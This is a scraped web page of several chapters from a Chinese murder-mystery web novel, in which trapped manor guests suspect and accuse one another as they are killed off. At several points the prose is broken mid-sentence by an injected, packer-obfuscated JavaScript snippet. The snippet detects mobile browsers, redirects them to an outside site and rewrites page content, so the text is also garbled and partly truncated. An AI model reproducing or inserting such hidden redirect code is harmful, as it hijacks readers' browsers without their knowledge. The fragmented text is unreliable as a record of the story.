“我没找到她,只看见她躲进了桑树丛里,”提起斯文,顾霆咬了咬牙,和对待元笑的态度完全不同,说,“她有很大的嫌疑杀掉星星,因为在那之前,她们吵得很凶。” 元笑正想说昨晚她并没有感觉到斯文起床。 但又怕触及到顾霆的某根神经,再惹得他发怒,于是没有开口。 反正斯文也躲起来了,暂时不会有危险。 这时,孙伶聪带着哭腔开口:“是啊,就算是为了妈妈,也该变得善良。可她不是我妈妈,我妈妈还不知道我被困在这里呜呜呜……或许已经知道了,但她救不了我……” 偌大的客厅里回荡着孙伶聪的哭声,以及女人哄孩子的声音。 过了一会儿,顾霆起身往楼上走。 孙伶聪叫住他:“这么晚了你一个人不害怕吗?楼上很危险!” “对我来说,现在没有危险的地方了,”顾霆缓缓道,“我把星星安置在了房间,她一个人会害怕,我得去守着她。” “可你很有可能会成为凶手下一个对象!”金兰花说。 “我很期待,”顾霆弯了弯唇,目光一一扫过所有人,“我很期待凶手能来找我,最好和我来一次真正的较量,看看你不靠偷袭能不能赢得了我。” 他上楼后,元笑一直紧绷的脊背才渐渐放松下来。 她又看向那个女人,正在用脏兮兮的手指撕开一袋面包。 元笑上前一步,在女人恐惧的眼神中,露出一个尽量和善的微笑。 “这几天你一直在吃面包,我帮你煎点肉和香肠吧。” 站在厨房里,元笑再次陷入迷茫。 尽管在这之前,她有一万种理由怀疑这个女人,但在看到和妈妈一模一样的那张脸之后,就再也怀疑不起来了。 这些天女人的躲藏和种种奇怪举动,全都是为了保护她的女儿。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果他真的提前躲在浴室里,那么就有极大可能趁秦北没反应过来时,将他一刀毙命。 还有陈成医死的时候,是顾霆一直站在走廊里。 也有机会让陈成医主动打开房门,杀掉他后打开门制造一系列恐怖事件。 并且只有顾霆能悄无声息杀害对他没有防备之心的俞耀星。 他是最有机会神不知鬼不觉处理好一切的人。 如果一切都成立的话,今早发生的一切,都是顾霆在演戏! 借俞耀星的死为理由,光明正大杀死自己和斯文。 只不过一切都被这个躲在灌木丛中的女人改写。 可元笑不明白,究竟是什么深仇大恨,要让顾霆痛下杀手,甚至连自己的妻子也不放过。 女人又回到角落位置哄孩子,金兰花低声问元笑:“你帮她煎了肉饼和香肠,是不怀疑她了,对吗?” 元笑点头:“谁会怀疑和妈妈长得一模一样的人呢。” 金兰花问:“那现在,你觉得顾霆有嫌疑?” 元笑看着他们,犹豫再三,没把真实的心中所想说出来。 顾霆从一开始就展现出了惊人的推理能力,他深得大家信任。 哪怕他白天发了疯,但在找回理智后,声望依然没受到影响。 抱孩子的女人只是说了一句小心顾霆,这三个人都凑过来反驳。 元笑不想再次成为众矢之的,于是随便找了个理由: “昨晚我就睡在这里,你们都在我身边,没感觉到你们有谁动了。那么俞耀星的死……就很奇怪,我也分析不出来了。” 安静一瞬,金兰花摇摇头。 “不,元笑,其实我们都睡熟了。” 金兰花说:“否则,我们不可能察觉不到俞耀星从落地窗到了楼梯后。” 一个人从活着到被谋杀,再从落地窗前到楼梯后。 这是个很复杂的动作。 “我真的睡着了?那为什么我觉得我一直醒着?” “我们都太累了,是被顾霆喊俞耀星名字叫醒的,一睁眼天都亮了,”金兰花分析道,“否则不可能这么多人都没发现凶手行凶。” 元笑一怔:“那这么说来,昨晚我们每个人都可能会死,依然是活下来的人都有嫌疑。” “是,”金兰花沉重地开口,“又到晚上了,我怕凶手再次出手。” 话音刚落,就看见顾霆急匆匆跑下楼。 元笑退到沙发后,警惕地盯着他。 顾霆说:“我知道凶手是谁了。” 11. 正版 6人围坐在桌前,顾霆从抽屉里拿出纸笔,放在每人面前。 他说:“现在大家按照我说的,写下保证书。” “保证书?”金兰花问,“写这个做什么?” 顾霆回答:“我要大家保证,不会再伤害接下来存活的每一个人。” 众人通通愣住,这话在此刻听上去不亚于玩笑。 就算凶手在他们之中,也不会正义到因为写下保证书就再不杀人。 “顾霆,你是不是太累了?”金兰花放下笔,安抚地说,“这些天你睡着的时间很少吧,再这么下去人就熬不住了。干脆我们轮流守着,你去睡一觉吧。” “不,我很清醒,”顾霆拍了拍面前的纸,“大家按照我说的来写。” “顾霆叔叔,可你不是说你已经知道凶手是谁了吗?”孙伶聪疑惑地问,“既然你知道,为什么不直接说出来呢?” 顾霆看着他,沉声道:“相信我,只要写出来了,就可以终止这场连续杀人行为。” 坐在距离他斜对面位置的元笑,食指轻轻敲击桌面。 她在想,如果顾霆是真凶的话,那么写保证书这个行为就说得通了。 他一开始想要对所有人赶尽杀绝,但现在却又后悔。 元笑看向抱孩子的女人。 或许是因为见到了与母亲十分相似的人,唤起了他的良知。 所以选择后退几步,让大家写下保证书,来消散他内心的不忿。 像刚刚他坐在沙发上和自己道歉,说就算为了母亲,也该活得善良。 如果这样能够救赎顾霆、救赎自己,元笑很乐意配合。 要把这件事公诸于众,前提得是先活着从这里出去。 唾液划过喉咙,疼痛席卷,元笑拿起笔:“好啊,写什么?” 顾霆下一秒就开口:“接下来我所说的每句话都发自内心……” 随着元笑率先动笔,其他人面面相觑一阵,都无奈地提起笔。 顾霆也跟着写,一边写一边继续说:“无论这一刻之前我说了多少假话,但在写下这段话后,我都会诚实说出每一句话。” “我将以诚待人,不再杀人,我要让所有人都平安成功地离开这座庄园。” 落下最后一笔,所有人抬眼看向顾霆。 只见顾霆迅速起身收走大家的纸,摊开了摆放在桌上,一个字一个字地看。 “这是不是有点太离谱了,”金兰花说,“你难道认为凶手能遵守自己写的这些话,然后就不杀人了?” 这话说完,她就注意到顾霆的神色变得凝重。 顾霆从保证书里抬起头,目色如同死寂,沉声开口:“果然是他。” 孙伶聪抬眉追问:“是谁?顾霆叔叔,你说是谁!” 在所有人地注视下,只见顾霆把手伸向后背,缓缓拿出剧本。 他用手点了点封面,那上面是他们之前玩的剧本杀,第一页印着剧本名字《孤独》,以及所属者【陈成医】的签名。 “这是陈成医的剧本,”顾霆冷笑一声,缓缓道,“他就是凶手。” 金兰花皱眉:“可陈医生已经死了啊!” “不,他没有死,我们看到的画面只不过是他的表演秀。” 顾霆抬眼,扫过偌大的别墅,声音沉重有力,看上去是在隔空和陈成医对话:“此时此刻,他一定在某个地方观察着我们的一举一动。” 元笑眼睛一亮,陈成医没死,那秦北呢? 元笑期待又急切地看向顾霆:“你是怎么发现他没死的?” 顾霆用食指点了点大家的保证书:“就在我要大家写的东西上。” 他说:“现在拿出你们的邀请函,来对照一下字迹。” 元笑从口袋里摸出邀请函,仔细对照了每个人的字迹。 “都不一样啊,感觉不是一个人写的。” “再看陈成医的名字,”顾霆把剧本推向中间,食指放在‘成’上面。 “我让你们写的保证书里,有两个诚实的‘诚’,和一个陈成医的‘成’。” “而我们的邀请函里,‘诚’这个字也有很多,几乎每个人的邀请函都有那句‘诚挚邀请’、‘真诚邀请’。” 一听这话,元笑直接把剧本拿过来仔细对照着邀请函来看。 【诚挚邀请陌生的您来诡异探险庄园游玩……】 【诡异、探险、城堡……我们真诚地欢迎您的到来……】 【诚挚邀请陌生的您来到探险庄园……】 这些手写邀请函上的‘诚’或‘城’斜钩这一笔过于长,导致这个字比其他字更微微大一些。 并且斜钩上的撇有刻意用力往回勾,收尾时有向上提的痕迹,这并不符合书法的笔锋。 更像是练了很久的艺术字签名。 陈成医是医生,日常生活中少不了签名。 一个字写习惯了,以后每一次写,都会有肌肉记忆。 邀请函上面的‘诚’字,陈成医亲自写在剧本上名字的‘成’笔迹一模一样! 没一会儿,Silas感慨:“太不可思议了!” “哪里不可思议了?”顾霆质问他,“陈成医是写邀请函的人,他把我们引诱到这里,难道还不能证明他就是凶手吗?” Silas没料到他会突然发火,微笑道:“你误会了,我没有反驳你的意思,我的意思是他……” “你和我有不同意见的理由是什么?”不等他说完,顾霆眉头紧蹙,急切追问,“陈成医亲手写了邀请函,就代表现在发生的一切都有他的份,哪里不可思议了!?” “顾霆,你误会了,”金兰花说,“Silas是指‘假死’这件事不可思议。” 安静一瞬,顾霆舒了几口气,胸膛起伏渐渐平淡。 他疲惫地揉了揉太阳穴:“抱歉,是我太敏感了。” “我们大家都心平气和一点吧,”元笑继续刚才的话题,“之前我一直在想,究竟是谁能如此熟悉我们。分明我们并不认识,也没有共同的朋友,这人怎么就那么了解我们?” “但如果凶手的职业是医生的话,那就说得过去了。” 金兰花很快理解了元笑的意思,她点点头:“我们普通人到了医院就知无不言,恨不得把一年前晚饭吃了什么都说出来。医生是最了解患者,也就是我们的。” “没错,”元笑说,“秦北曾经因为爬冰山受伤,住了小半个月的院,病房里所有人都知道他爱极限运动。” 说完,她又联想到了什么,腰板挺直:“所以那扇门也是陈成医自己打开的,为了让我们知道他‘死’了,把我们赶到楼下。这样他有很多时间足够转移秦北的尸体,制造恐慌!” 话音刚落,只见顾霆似乎突然想到了什么。 他脸色煞白:“星星!” 说完就往楼上跑! 孙伶聪急着喊道:“叔叔小心!” 随后又看向大家:“我们要不要一起上去?” 金兰花也向上望,说:“上去看看吧,我们一起行动。” “算了吧,”元笑低声说,“我还是不上去了。” 元笑轻轻抚摸脖子,她的嗓子到现在都是哑的,喝水都痛。 刚刚顾霆质问Silas的那幅样子,和早上发疯时一模一样。 如果没有金阿姨及时解释的话,恐怕顾霆下一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743216|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会攥住Silas的喉咙。 虽然离真相更近了一步,但还是不能对顾霆放松警惕。 没过多久,楼上突然传来了砰砰砰的撞击声音,听着像是在撞门。 很明显,和他们想象的一样,俞耀星的尸体也不见了。 顾霆是在撞那些打不开的房门。 俞耀星死了,让顾霆失去理智,好不容易被酷似母亲的人唤回了理智,现在俞耀星的尸体又消失了…… 那么这一次,又要靠什么才能唤回他的理智呢? 撞击声音越来越大,金兰花担忧道:“要不我们大家一起上去?凶手现在一定发现顾霆落单了。” 元笑谨慎道:“我认为顾霆有暴力倾向,并且力气很大。如果我们现在上去,说不定会惹恼了他,万一他要和我们同归于尽怎么办?” 大家听她这样一说,全都熄了火。 毕竟早上顾霆疯了一样攥住元笑脖子的画面还历历在目。 他们坐在沙发上,警惕盯着楼梯位置。 砰砰声音一下接一下,听着像是在用什么东西砸。 或许是白天用来追杀元笑的高尔夫球棒。 不多时,沉重又凌乱的脚步声传来,顾霆跑下楼,满头大汗出现在大家面前,发丝凌乱,手臂位置的衬衫也因装门而磨破发黑了。 他经过客厅没有多停留一秒钟就跑出去,站在城堡大门向上望。 隔着落地窗,Silas奇怪地问:“这是在看什么?” “像是窗户。”元笑说。 很快,顾霆在外面喊:“你们都出来,我有新发现!” 大家对视几眼,决定出去看看,刚走了几步,元笑回头朝抱孩子的女人伸出手:“我们一起行动吧,我不会伤害你,和你的孩子。” 女人胆怯地抬眼,抱着孩子小心翼翼把自己的手放在元笑掌心里。 一群人走出门,看向顾霆手指的窗户。 “这间屋子有问题!”顾霆说。 元笑数了数,说:“这不是我们玩家的房间,这是那扇封死的房间。” “是,我用球棒砸碎了门锁,”顾霆说,“可那扇门之后,是面墙。” …… 当一众人都来到楼上时,惊讶地看见了这鬼打墙的景象。 门被暴露砸开扔在地上,元笑伸出手指用力一抹,水泥渣掉落,是结结实实的红砖和水泥砌成的墙。 “这真是墙?那为什么从外面看还有窗户?” 孙伶聪皱眉想了想,说:“或许有机关?只要触碰到机关,这面墙就会自己移开?” 于是他的小手开始在所有砖块上又摸又敲…… 顾霆说:“不确定这面墙之后是不是和我们住的房间一样,所以我想把其他门也砸开,我相信他们的尸体一定就藏在这些房间里。” 又叹气:“但靠我一个人实在太难。” “那我也来。”Silas从地上捡起球棒,挥舞着砸向旁边被封死的门锁。 足足砸了半小时,门板终于倾倒,又是一面结实不可移动的水泥红砖墙,和这边没什么两样。 元笑捡起另一个球棒,砸向对面的房门。 同样累到满头大汗,门锁终于松动,她用力一拉,狂风瞬间涌入,掀起头发。 狂风险些将她带下去,幸好金兰花扶了她一把。 这扇门之后更是令人咂舌,连水泥墙都没有,门的另一边是空荡荡的,像是砸开了一扇窗。 元笑扶着门框小心翼翼向下看,下面郁郁葱葱正是她曾经躲藏过的榕树丛林。 她不止一次经过后花园,也从下向上仰望,看见的明明是欧式风格的阳台窗。 12. 正版 元笑腿都软了,坐在地上怔愣地看着这一切。 风将头发吹得凌乱,没一会儿,眼泪从她眼中滚落下来。 “我们到底在哪里?这里不是现实世界吗?为什么……为什么会这样?” 金兰花连忙蹲下来:“元笑,你没事吧!” “金阿姨,金阿姨……”元笑一把抱住她,纤细的手臂用力缠住她的脖子,浑身颤抖恐惧道,“是鬼吗!这是鬼吗!有鬼!” 她刚说完,又一道哭声传来。 是孙伶聪。 孙伶聪也跑过来趴在她们身边,害怕地哭道:“我害怕鬼,我好害怕……我要找妈妈!” 说着急忙看向那个抱孩子的女人,没得到女人的目光就像是空欢喜一场,哭得更大声了。 “孩子们,你们别害怕,”金兰花说,“或许……或许这里就是一面墙,或许这边就是这样的……别怕别怕……” 顾霆咬了咬牙,扬声大喊:“陈成医!滚出来!” “这到底是什么狗屁地方!” “你把我们骗来这里到底是为什么!” …… 他的声音回荡在风声呼啸的走廊里,又穿过空荡荡的门洞蔓延到整个庄园。 过了好一会儿,顾霆嗓音沙哑,双手按在膝盖上弯下腰,痛苦地咳嗽。 鲜血和愤怒充斥到他脸上涨得通红。 再无从前绅士沉稳风度。 另一边,金兰花一下一下轻抚元笑和孙伶聪的后背,终于等到他们不再颤抖,哭声也变小了。 “孩子,别害怕,这世界上根本没有鬼。” “那我们经历的这些又是什么呢?”元笑瞳孔的焦点早已暗淡,她愣愣地盯着某一处,“突然消失的门闸和尸体,还有这些鬼打墙,分明在外面看着是有落地窗的阳台,怎么一打开门居然是空的……” “或许是设计问题也说不准。”金兰花说。 “设计问题……对,我得下去看看。”元笑按着地面踉跄起身,再次从门洞处向下俯瞰,记住了一个显著粗壮的榕树,就朝楼下走去。 “我陪你一起吧。”金兰花也起身,臃肿的身体让她起身速度变慢,需要把一边膝盖扣在地上,然后扶着墙支撑自己站起来,跑了几步才追上元笑。 走向榕树林的这段路像是走在细钢丝上,元笑掌心出汗,越往前走越觉得燥热。 记住的那棵树就在眼前,元笑站在树下向上望。 是熟悉的阳台。 欧式玻璃外窗,完全没有半点被破坏痕迹。 白色栏杆形成优雅的弧度,阳台上还有一张下午茶餐桌。 至此,元笑出生以来所有认知和信仰都在这一刻被推翻,彻底崩塌。 她摇头,接连不断地向后退。 踩中了一根树枝,腿一软摔倒在地。 “有鬼……有鬼……” 话音未落,只听‘噗通’一声—— 一个黑白影子从楼上迅速坠落。 元笑愣了片刻,马上爬起来跑过去,等看见眼前的景象时,倒吸一口冷气。 顾霆趴在地上,衬衫臂膀处还有大力撞门被磨破的痕迹。 一根树枝径直穿过他的后脑,鲜血从身下溢出,逐渐扩大面积。 下半身落在水泥路,上半身落在草坪上,远远看去像是被一分为二。 顾霆死了。 从那个诡异的门洞掉了下来。 在元笑的视线里,没在阳台上看见他的身影,可他就是掉在了她面前。 “凶手出现了!”元笑根本来不及思考这个诡异的门洞,攥着金兰花的手,“凶手又出现了!” 两人急急忙忙往楼上跑,上了2楼却看见孙伶聪被Silas抱在怀里,大声哭着说:“阿姨是凶手!阿姨杀人了!呜呜呜呜呜啊啊啊啊……阿姨杀人了!” 阿姨? 元笑看向那个抱着孩子的女人。 她依然靠在墙角处,缩着肩膀紧紧抱着孩子,头发挡着脸,口中源源不断说着什么。 元笑向前走了几步。 女人的声音颤抖,听上去很害怕的样子。 她说:“活该,活该!谁让他这样对我女儿,活该!他该死……他该死……该死的,本来就是该死的,他这样对我女儿是活该!是报应!该死的人,早就该死了,他才是杀人犯,是他自找的……自找的,自找的……” Silas拍了拍孙伶聪的背,在他的哭声中跟元笑和金兰花讲述刚刚发生了什么。 元笑和金兰花下去很久了,也不见她们的身影。 刚刚恢复了一些体力的顾霆走到门洞前,一只手按在墙壁上,倾身向下看。 “就这个时候,那女人突然跟疯了一样冲过来,”Silas比划着说,“把孩子都扔在地上了,双手用力把顾霆给推了下去。” 元笑觉得不可思议,又在看到她用脸贴着自己孩子的情景时,突然觉得是情理之中。 女儿是这个女人的命,也是她最后的底线。 而顾霆曾经抢过她的孩子,还将这个畸形儿暴露在大家面前。 从而让女人记仇,潜意识里认为顾霆会伤害她的女儿。 这个胆小怕事,躲了这么多天的女人,居然杀了人。 Silas把孙伶聪放下来,无力地靠在墙边,绝望道:“这下再也没人给我们分析了,现在顾霆死了,相当于我们失去了个军师。” 顾霆能通过一个‘成’字分析出陈成医有嫌疑,说明他的智商和洞察力都很高。 他的死,是所有人的损失。 金兰花也叹气:“不仅如此,也代表我们少了个队友。就像是包围圈一样,越缩越小,越来越容易把我们吞噬。” “不,我认为顾霆死了也不是件坏事,”元笑沉声开口,“我觉得顾霆也是凶手。” “为什么呢?” 顾霆一死,元笑终于可以把之前忌讳不敢说的分析告诉大家。 金兰花听后,恍然大悟。 “有点道理,”金兰花说,“我们一早就已经分析出来,凶手不止一个人了。顾霆的确是最有机会和时机做这一切的。如果他的同伙真是陈成医的话,那么一切就更能说得过去!” 元笑点点头:“那么顾霆的死对于另外那个队友来说,一定是意外中的意外。这相当于我们将了对方一军,打乱了对方的计划。” 孙伶聪吸了下鼻子,带着哭腔问:“所以接下来,我们是安全的吗?” “短暂的安全,”元笑说,“那个人一定已经知道顾霆死了,他要准备其他计划来围剿我们了。” “我还有一个疑问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743217|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”Silas说,“如果顾霆真和陈成医是一伙的,那么他当时为什么要指认陈成医呢?” “他应该尽力保全他才对,毕竟陈成医已经‘死’了。如果不是他提出来,我们谁也没想到陈成医是假死啊!” 元笑揉了揉太阳穴。 突然想到什么,瞪大眼睛:“我想这个疑问,斯文一定知道!” 在她们两个跑出城堡之前,大家一直觉得所有人一起行动才是最安全的。 但顾霆突然发疯,才导致她们两个不得不脱离队伍,分散跑开。 “我猜测,斯文一定是发现了凶手,不——”元笑坚定地说,“她一定发现了陈成医还活着。” 元笑问大家:“我想狼人杀大家都不陌生吧?如果一头狼暴露了,那么另一头为了团队获胜,也会站在平民的角度指控队友。” 金兰花说:“所以顾霆这一招是卖友求生?” “就是这个意思,”元笑目色微沉,“斯文已经知道真相了,而我们的推理,必须要靠她的证词才能得到证实。” Silas说:“那我们现在就下去找她。” 元笑看向那个抱孩子的女人,她看上去很紧张,一双眼睛接连不断地转,她在观察每一个人,仿佛随时都要起来再次杀人。 但因为这张脸实在太熟悉,元笑还是不忍心将她一个人放在这里。 于是开口:“你要不要……和我们一起去找斯文?” 女人用力摇头,被油脂浸泡的头发粗粗一绺,摇起头来像是拨浪鼓。 元笑告诫她:“那你最好躲回房间里,避免有人伤害你……和你的孩子。” -- 金兰花、Silas、孙伶聪和元笑四人一起下了楼。 元笑说:“早上我们两个是分开跑的,她跑进了桑树林,我跑进榕树林。顾霆是先追的她,然后才来找我。” 可他们找遍了整个桑树林,甚至连周围的花园也都一寸一寸找过了,都没发现斯文的身影。 “或许……斯文她已经……”金兰花累到靠在树上大口喘气,她用手给自己扇风,说,“我们找到了这么久,她不可能听不见我们的动静。” 其实元笑也想到这一点了。 早上她们跑出来是为了逃命,精神极度紧张,这么大的阵仗不可能察觉不到。 元笑吞了下口水:“难道……斯文的尸体也已经被处理了?” 几个人筋疲力尽回到大厅,一口气还没喘匀,突然听见一声尖叫。 是那个抱孩子的女人! 元笑想都没想就往楼上跑,刚上了二楼就看见抱着孩子的女人满手鲜血,孩子已经不知去向。 她疯了一样对着某扇门嘶吼着,尖叫着。 元笑看过去,那是斯文的房间。 她快速向前走,看见了门内的景象。 斯文躺在血泊之中,一双眼睛瞪得大大的,眼球几乎要爆出。比眼睛更大的是她脖颈处裂开的口子,像怪物张开的嘴。 哪怕是曾经和秦北玩过无数探险恐怖游戏,在见到这种画面时,还是抑制不住心脏的跳动。 鲜血带来的视觉冲击,再加上那个女人接连不断的尖叫,元笑的大脑几乎要爆炸。 孙伶聪惊恐地说:“阿姨又杀人了?她又把斯文姐姐给杀了!” 13. 正版 随着孙伶聪的一声哭喊,大家终于从震惊中走出来。 斯文也死了。 是目前为止死状最惨,场面最激烈的。 元笑不可置信地看向那个女人,对方喊了很久声音从尖锐到沙哑,双手紧紧撕扯着自己的头发,血迹粘在了脸上和头上。 元笑发现了个奇怪地问题,疑惑道:“她的孩子呢?” 视线扫过四周,只看见包裹着孩子的被单胡乱扔在血泊之中,孩子却没了影子。 “你为什么要杀斯文??”金兰花质问她,“你刚刚明明听见我们的分析,为什么不让斯文说出她究竟看到了什么?” “我没有杀人,我没有杀人……”女人崩溃地攥住头发,血迹与头油混合到一起,她跑到被砸开的门洞边,“我的孩子,还我的孩子啊啊啊啊……!” “你的孩子去哪里了?”金兰花问,“你和斯文发生争执了吗?” 元笑也问:“斯文抢了你的孩子吗?” 说着踮起脚向下看,猜测孩子现在或许已经和顾霆待在一起了。 “我的孩子,我要找我的孩子!”女人说着就冲了出去,带着满身满脸的血迹与他们擦肩而过,一溜烟跑下了楼。 剩下的四人相对无言,刚刚才找到的线索,在这一刻彻底断裂。 斯文死了,没有人能够知道她在死之前是不是发现了陈成医还活着的秘密。 但看她凄惨的死状,想必一定是能揭开他们为什么会来到这里的惊天秘密。 空气中还漂浮着浓厚的血腥味,一会儿又没有了,忽远忽近。 没一会儿,金兰花说:“我们是不是太低估这个女人了?” 元笑面色苍白地抬起头,疑惑地看向她。 金兰花说:“她当着我们的面杀了两个人,而在这两人之前,死了三个人。” 也就是说,光是经女人手死掉的人,几乎要追赶上凶手了。 就因为女人的‘坦诚’,所以大家只当她不正常,从而否定了她是凶手的可能。 即使她亲手杀了顾霆,也没有让大家认为她是凶手。 那么会不会有一种可能是,现在发生的一切,都是这女人演的一场戏呢? “不会。” 元笑沉声说。 金兰花问:“元笑,说说你是怎么分析的?” 元笑垂眸,眼睛微眯看着斯文的脖颈,喑哑着嗓子说:“因为斯文脖子上的伤口很整齐。” 笔直的一条线,完美的切割水平。 快准狠。 一定是专业人士才能做到。 “陈成医是医生,手是最稳的,手术刀也是最锋利的。”元笑说,“况且我们上来时,斯文已经死了。我们并没有看见是谁杀了她,所以我相信那个女人说的话,她没有杀斯文。” 金兰花说:“你的意思是,是陈成医杀了斯文,又抢走了孩子?” “没错,”元笑脑海中再次浮现出斯文颈部那么深的伤口,她闭了闭眼,说:“如果是我们使用的水果刀,不可能会那么……那么顺利就直接划开吧。” “确实有道理,”Silas点头,“但如果是这样的话,那个女人现在的处境会很危险。” 说到这里,元笑心脏一顿。 现在是那个女人落单的时候,如果陈成医想把所有人都杀掉,一定不会放弃这个机会。 虽然这个女人不能为逃出庄园提供任何帮助,但大家都默契地选择出去寻找。 不为别的,就为那张一看就会心软的脸。 找了大半个后花园,终于发现女人遗落在草丛里的鞋子。 顺着鞋尖的方向继续向前走,他们又发现了不少血迹。 没过多久,一个身影突然从拐角处消失,Silas眼尖第一个看见,快速追过去:“你别跑,我们不会伤害你!” “不要跑!”金兰花也喊道:“我们相信斯文不是你杀的,你现在一个人很危险。” 说着就要追过去,突然被一块石头绊倒。 臃肿的身躯扑在地上掀起一片尘土,元笑也没力气了,甚至连将她扶起来都做不到。 “抱歉,”金兰花带着歉意说,“我自己起。” 金兰花好不容易爬起来,脚也崴了,元笑挽着她的手臂,带她一点一点向前走。 却在刚走到转弯处时看见目瞪口呆的Silas。 顺着Silas的视线看过去,只见女人呈大字型躺在地上。 这是元笑第一次看清她的脸,那么像,那么真…… 这一幕真让她以为躺在地上的是自己的母亲。 心痛袭来之际,让她清醒的是女人怀里紧紧抱着的孩子。 她终于找到了自己的孩子,代价是两个人命丧黄泉,每个人身上都插着一把刀。 元笑朝草丛里跑去,试图寻找刚离开不久的凶手。 可前方除了茂盛的大树之外,一个人影也没有。 风将树叶吹得沙沙响,在本就昏暗的夜幕之中浮现出黑色树影。 元笑此刻完全不觉得害怕。 哪怕陈成医在出现在面前; 哪怕相同的尖刀就在下一秒刺进自己的胸膛。 她想结束这种煎熬,此刻居然也理解了顾霆的疯狂,于是也放声大喊: “下一个选我啊!” “你为什么不杀我??” “因为知道我没有得罪过你?” “我告诉你,这些人里我最讨厌的就是你!陈成医!” “剧本杀里的角色是你为自己量身定做的吧,你和剧本里一样惹人厌恶!你以为你在替天行道吗?你又比我们干净到哪里去?” “你躲在阴暗的角落里,是不是觉得自己很伟大?” …… “元笑,不要再说了!”一瘸一拐赶来的金兰花拥着她,“不要和我们分开。” “没有用的,没有用的!”元笑紧紧攥着她的衣服,失控喊道,“我们不可能分分秒秒待在一起,总会有分开的时候,只要我们分开,就一定会死!!” “从秦北离开的那时候,我们就说过不要分开,那现在呢……”她的声音沙哑,无力又心酸,“说这些话的人,一个一个地死去,陈成医就像是在看笑话一样看我们……” 说完,元笑狠狠咬牙,眼神变得怨毒,她扬声:“我知道你能听见我说的一切。我来替所有人死,你放了他们,让我死!” “元笑!”金兰花捂着她的嘴,生怕她的话被凶手听见,“你不要再说了,天快亮了,我们先回去好好想想。” -- 桌上还放着带着油渍的餐盘,自己为女人煎的培根和肉饼,被她吃得干干净净。 女人不相信所有人,但却把手送到了自己的掌心。 自己是她唯一信任的人,可却没能救得了她,让她死在自己面前。 元笑感觉无比愧疚。 种种负面情绪交织,将她裹得严严实实,此刻活着居然成为了煎熬,每分每秒都像是被按在火上煎烤。 金兰花吞了下口水,说:“大家都不要放弃,不到最后一秒钟,我们都不要放弃。” 元笑只觉得大脑一片混沌,她摇头: “不放弃又能怎么样,我们根本不知道接下来会发生什么。现在发生的一切,都完全出乎我的预料,不符合常理,偏偏又在常理之中。” 元笑觉得头痛到几乎要炸裂,她想不管不顾地睡觉,但闭上眼睛全都是这些人死去的脸。 精神几乎已经到了濒临崩溃的状态,元笑捂着胃部干呕了好几下,最终只是吐出一些酸水。 金兰花说:“这是饿到极点了,才会出现呕吐的迹象。元笑,我们去厨房找些东西吃吧。” 锅里的水咕嘟着冒着泡泡,元笑手里拿着一绺面,站在锅边发呆。 直到金兰花出声提醒,才回过神来。 一碗面吃进腹中也是食不知味,元笑无力地趴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元笑:“好啊!我倒要看看你们用什么理由来怀疑是我杀了我的男朋友!” Silas说:“在我说出理由之前,请你再讲一遍那晚你经历的一切。” “关于秦北……我已经说过很多遍了!”元笑咬着牙,再一次体验如凌迟一般的心痛。 “他不回应我的话,我走进浴室,看见他背对着我躺在地上。我以为是他的恶作剧,没想到轻轻一碰他的肩膀,他就转了过来!然后我就看见他胸前的一把刀!事实就是这样!我没有说谎!” Silas 说:“后来我们就进来了?” “是的没错。” “我们都是从门外进来的?” “是的。” “一个不少?” “……是。” “那么,凶手呢?” “……” Silas认真说:“从秦北的死亡开始,我们一直沉浸在恐慌之中。每个人都是被怀疑的对象,但每个人心中都有自己的相信界限。” “比如即使那个女人杀了顾霆,有人依然坚定相信她绝对不是凶手。” 停顿一下,又说:“再比如你,第一个死的人是你男朋友,你在我们心中也是受害者。所以我们就算怀疑彼此,也很难怀疑到你。” “意识到这一点后,我试着把秦北的死跟你联系到一起。发现了很大的疑点。” “能悄无声息一招毙命杀掉秦北,还能走进你房间浴室杀完人再离开……大部分人只能满足前者。” “并且前者其实也很牵强。有人提前埋伏进你的浴室,却没有杀先洗澡的你,而是等你洗完澡之后,迅速杀掉刚进去还没来得及脱衣服的秦北。” “就算凶手有强迫症要先杀秦北,那么在秦北死后,凶手是怎么走出你的房间,再从门外进来的呢?” Silas敛眉,沉声说:“只有你能够走进自己的浴室,然后尖叫着跑出来,告诉大家秦北被杀了。” “至于轻而易举杀掉比自己强大的人这件事,那个抱孩子的女人已经给我们演示了一遍,那就是找准时机。” “秦北最不会提防的,其实是你这个女朋友。” 14. 正版 元笑顿觉呼吸不够用。 是啊,那时候所有人都依次从门外走进房间。 包括怀疑假死的陈成医,他也是从外面走进来,然后才去浴室帮忙验尸的。 那么凶手是谁,凶手是怎么做到的。 刹那间,元笑竟然百口莫辩。 这些人站在自己面前,分明是要她证明自己从来没做过的事。 “难道这庄园里,还有一个我们不知道的人?”元笑只能这样想。 